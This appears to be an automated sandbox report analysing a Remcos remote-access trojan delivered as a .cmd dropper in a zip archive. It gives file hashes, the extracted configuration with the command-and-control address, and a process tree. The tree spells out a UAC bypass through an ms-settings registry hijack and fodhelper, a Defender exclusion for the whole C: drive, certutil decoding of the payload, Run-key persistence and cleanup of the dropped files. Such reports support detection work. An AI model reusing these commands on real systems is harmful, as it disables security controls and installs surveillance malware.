Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09-05-2024 09:58

General

  • Target

    17168848892.zip

  • Size

    676KB

  • MD5

    21aa22e186d07a35986264f71c3f2908

  • SHA1

    ae4a9fb6a15713115c5f68864bbab4c4b2094fd1

  • SHA256

    f4906dec2cbdc33af12960aada4dfb76ba22616363fe7fcb26190523ba1cf0f7

  • SHA512

    6fc5b97cff11faf1acd29b373067218fd5d202dee7d4cebc887e0ecad8648acd971e2c0487c9677f1aee97c12f13a1f4909667836e04800fee30fe7303598505

  • SSDEEP

    12288:YCfKAF6dLivsaQaOLi2PB2hXatDuQJy1tTs2u9bdNfOOY0hkwNzZ:hSAc+vsCAi2p2hKtDuvLzA/hn1Z

Malware Config

Extracted

Family

remcos

Botnet

BiggsCrypt

C2

20.121.128.235:4876

20.121.128.235:4834

20.121.128.235:4845

20.121.128.235:4674

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    true

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    isoi.dat

  • keylog_flag

    false

  • keylog_path

    %UserProfile%

  • mouse_option

    false

  • mutex

    oeoeoeoeoasaoaoas-U0R5CC

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • startup_value

    

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 26 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies registry class 5 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Script User-Agent 3 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\Explorer.exe
    C:\Windows\Explorer.exe /idlist,,C:\Users\Admin\AppData\Local\Temp\17168848892.zip
    1⤵
      PID:4840
    • C:\Windows\System32\rundll32.exe
      C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
      1⤵
        PID:4148
      • C:\Program Files\7-Zip\7zFM.exe
        "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\17168848892.zip"
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:3076
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\397a4ecfc57507ee97921ac4fafcfb3839d6ae7769e57863120b5e03f338a7ec.cmd" "
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:2924
        • C:\Windows\System32\extrac32.exe
          C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
          2⤵
            PID:1220
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "
            2⤵
            • Executes dropped EXE
            PID:1572
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"
            2⤵
            • Executes dropped EXE
            PID:4340
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
            2⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:3048
            • C:\Windows\system32\extrac32.exe
              extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
              3⤵
                PID:2264
            • C:\Users\Public\alpha.exe
              C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
              2⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:844
              • C:\Windows\system32\extrac32.exe
                extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
                3⤵
                  PID:1124
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                2⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:2044
                • C:\Windows\system32\extrac32.exe
                  extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                  3⤵
                    PID:4788
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
                  2⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:2836
                  • C:\Windows\system32\extrac32.exe
                    extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
                    3⤵
                      PID:4536
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                    2⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:4868
                    • C:\Users\Public\xkn.exe
                      C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                      3⤵
                      • Executes dropped EXE
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of WriteProcessMemory
                      PID:4992
                      • C:\Users\Public\alpha.exe
                        "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                        4⤵
                        • Executes dropped EXE
                        • Suspicious use of WriteProcessMemory
                        PID:3920
                        • C:\Users\Public\ger.exe
                          C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                          5⤵
                          • Executes dropped EXE
                          • Modifies registry class
                          PID:2160
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\Desktop\397a4ecfc57507ee97921ac4fafcfb3839d6ae7769e57863120b5e03f338a7ec.cmd" "C:\\Users\\Public\\sppsvc.rtf" 9
                    2⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:4556
                    • C:\Users\Public\kn.exe
                      C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\Desktop\397a4ecfc57507ee97921ac4fafcfb3839d6ae7769e57863120b5e03f338a7ec.cmd" "C:\\Users\\Public\\sppsvc.rtf" 9
                      3⤵
                      • Executes dropped EXE
                      PID:4632
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\sppsvc.rtf" "C:\\Users\\Public\\Libraries\\sppsvc.pif" 12
                    2⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:4312
                    • C:\Users\Public\kn.exe
                      C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\sppsvc.rtf" "C:\\Users\\Public\\Libraries\\sppsvc.pif" 12
                      3⤵
                      • Executes dropped EXE
                      PID:2080
                  • C:\Windows \System32\per.exe
                    "C:\\Windows \\System32\\per.exe"
                    2⤵
                    • Checks computer location settings
                    • Executes dropped EXE
                    PID:696
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
                    2⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:3208
                    • C:\Windows\system32\taskkill.exe
                      taskkill /F /IM SystemSettings.exe
                      3⤵
                      • Kills process with taskkill
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2760
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2
                    2⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:1664
                    • C:\Windows\system32\PING.EXE
                      ping 127.0.0.1 -n 2
                      3⤵
                      • Runs ping.exe
                      PID:3532
                  • C:\Users\Public\Libraries\sppsvc.pif
                    C:\Users\Public\Libraries\sppsvc.pif
                    2⤵
                    • Executes dropped EXE
                    • Adds Run key to start application
                    • Suspicious behavior: EnumeratesProcesses
                    PID:4632
                    • C:\Windows\SysWOW64\extrac32.exe
                      C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\sppsvc.pif C:\\Users\\Public\\Libraries\\Rzgxguht.PIF
                      3⤵
                        PID:3432
                      • C:\Windows\SysWOW64\SndVol.exe
                        C:\Windows\System32\SndVol.exe
                        3⤵
                        • Suspicious use of FindShellTrayWindow
                        • Suspicious use of SendNotifyMessage
                        PID:2404
                    • C:\Users\Public\alpha.exe
                      C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"
                      2⤵
                      • Executes dropped EXE
                      PID:2984
                    • C:\Users\Public\alpha.exe
                      C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"
                      2⤵
                      • Executes dropped EXE
                      PID:1012
                    • C:\Users\Public\alpha.exe
                      C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"
                      2⤵
                      • Executes dropped EXE
                      PID:3172
                    • C:\Users\Public\alpha.exe
                      C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\per.exe" / A / F / Q / S
                      2⤵
                      • Executes dropped EXE
                      PID:2052
                    • C:\Users\Public\alpha.exe
                      C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S
                      2⤵
                      • Executes dropped EXE
                      PID:2168
                    • C:\Users\Public\alpha.exe
                      C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
                      2⤵
                      • Executes dropped EXE
                      PID:3024
                    • C:\Users\Public\alpha.exe
                      C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\sppsvc.rtf" / A / F / Q / S
                      2⤵
                      • Executes dropped EXE
                      PID:3912
                    • C:\Users\Public\alpha.exe
                      C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S
                      2⤵
                      • Executes dropped EXE
                      PID:696
                  • C:\Windows\system32\SystemSettingsAdminFlows.exe
                    "C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper
                    1⤵
                      PID:4032

                    Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gfxi0chl.q3s.ps1

                      Filesize

                      60B

                      MD5

                      d17fe0a3f47be24a6453e9ef58c94641

                      SHA1

                      6ab83620379fc69f80c0242105ddffd7d98d5d9d

                      SHA256

                      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                      SHA512

                      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                    • C:\Users\Admin\Desktop\397a4ecfc57507ee97921ac4fafcfb3839d6ae7769e57863120b5e03f338a7ec.cmd

                      Filesize

                      2.4MB

                      MD5

                      b7d01eac3c560a510c573c4c99da95a5

                      SHA1

                      8129e8b1b26ffc249994b6272cbc14ffdd907d94

                      SHA256

                      397a4ecfc57507ee97921ac4fafcfb3839d6ae7769e57863120b5e03f338a7ec

                      SHA512

                      a1d93c930dc91b99ebc3398ede4f260b17b65df5a958eee1dcc3b78495c4f24bb04bae722d45d5cbb3fa76ecc728b0fdc2b2d4a42fc64618e23d452dab1b7a4f

                    • C:\Users\Public\Libraries\sppsvc.pif

                      Filesize

                      819KB

                      MD5

                      6b8ff68a24697a15ac47255207740d9d

                      SHA1

                      db01dd1c00c213e8dd2b62bd4670fd0da71a6189

                      SHA256

                      95d6067492b2c592622a88ce2c35a8d7ff5e35ec94eb59decffc74d1ecae6e09

                      SHA512

                      1e569ef7337bffafb361a7e61bcc5e782e32746ba46153da900574d60b50a7941e55c540d89deeb2f758be2dcc04d41fd97fbad1564606169c25c231d05f3089

                    • C:\Users\Public\alpha.exe

                      Filesize

                      283KB

                      MD5

                      8a2122e8162dbef04694b9c3e0b6cdee

                      SHA1

                      f1efb0fddc156e4c61c5f78a54700e4e7984d55d

                      SHA256

                      b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

                      SHA512

                      99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

                    • C:\Users\Public\ger.exe

                      Filesize

                      75KB

                      MD5

                      227f63e1d9008b36bdbcc4b397780be4

                      SHA1

                      c0db341defa8ef40c03ed769a9001d600e0f4dae

                      SHA256

                      c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d

                      SHA512

                      101907b994d828c83587c483b4984f36caf728b766cb7a417b549852a6207e2a3fe9edc8eff5eeab13e32c4cf1417a3adccc089023114ea81974c5e6b355fed9

                    • C:\Users\Public\kn.exe

                      Filesize

                      1.6MB

                      MD5

                      bd8d9943a9b1def98eb83e0fa48796c2

                      SHA1

                      70e89852f023ab7cde0173eda1208dbb580f1e4f

                      SHA256

                      8de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2

                      SHA512

                      95630fdddad5db60cc97ec76ee1ca02dbb00ee3de7d6957ecda8968570e067ab2a9df1cc07a3ce61161a994acbe8417c83661320b54d04609818009a82552f7b

                    • C:\Users\Public\sppsvc.rtf

                      Filesize

                      1.6MB

                      MD5

                      3cc0ffd10c8bacf6f9b68a17da21be8c

                      SHA1

                      35bad683b83eb60e459d4c81aec3bd6a62f849b1

                      SHA256

                      fadcab4e7cbf88e1173681625c7f3414e0faad45a11a90f5785d1304c55a8049

                      SHA512

                      52135b3ac29dfd48be9fa8ef95adb88807d09c57b666c7cb2e48661e07e5c9c99acf9fa6368c82fbd5bfd5b20fb816171745236fa200925a7cad8deaed15d27a

                    • C:\Users\Public\xkn.exe

                      Filesize

                      442KB

                      MD5

                      04029e121a0cfa5991749937dd22a1d9

                      SHA1

                      f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

                      SHA256

                      9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

                      SHA512

                      6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

                    • C:\Windows \System32\per.exe

                      Filesize

                      48KB

                      MD5

                      85018be1fd913656bc9ff541f017eacd

                      SHA1

                      26d7407931b713e0f0fa8b872feecdb3cf49065a

                      SHA256

                      c546e05d705ffdd5e1e18d40e2e7397f186a7c47fa5fc21f234222d057227cf5

                      SHA512

                      3e5903cf18386951c015ae23dd68a112b2f4b0968212323218c49f8413b6d508283cc6aaa929dbead853bd100adc18bf497479963dad42dfafbeb081c9035459

                    • memory/2404-90-0x0000000000400000-0x0000000000482000-memory.dmp

                      Filesize

                      520KB

                    • memory/2404-92-0x0000000000400000-0x0000000000482000-memory.dmp

                      Filesize

                      520KB

                    • memory/2404-86-0x0000000000400000-0x0000000000482000-memory.dmp

                      Filesize

                      520KB

                    • memory/2404-102-0x0000000000400000-0x0000000000482000-memory.dmp

                      Filesize

                      520KB

                    • memory/2404-84-0x0000000002FC0000-0x0000000003FC0000-memory.dmp

                      Filesize

                      16.0MB

                    • memory/2404-91-0x0000000000400000-0x0000000000482000-memory.dmp

                      Filesize

                      520KB

                    • memory/2404-89-0x0000000000400000-0x0000000000482000-memory.dmp

                      Filesize

                      520KB

                    • memory/2404-101-0x0000000000400000-0x0000000000482000-memory.dmp

                      Filesize

                      520KB

                    • memory/2404-93-0x0000000000400000-0x0000000000482000-memory.dmp

                      Filesize

                      520KB

                    • memory/2404-94-0x0000000000400000-0x0000000000482000-memory.dmp

                      Filesize

                      520KB

                    • memory/2404-96-0x0000000000400000-0x0000000000482000-memory.dmp

                      Filesize

                      520KB

                    • memory/2404-99-0x0000000000400000-0x0000000000482000-memory.dmp

                      Filesize

                      520KB

                    • memory/2404-100-0x0000000000400000-0x0000000000482000-memory.dmp

                      Filesize

                      520KB

                    • memory/4632-78-0x0000000000400000-0x00000000004D5000-memory.dmp

                      Filesize

                      852KB

                    • memory/4992-34-0x000001D0FB4E0000-0x000001D0FB502000-memory.dmp

                      Filesize

                      136KB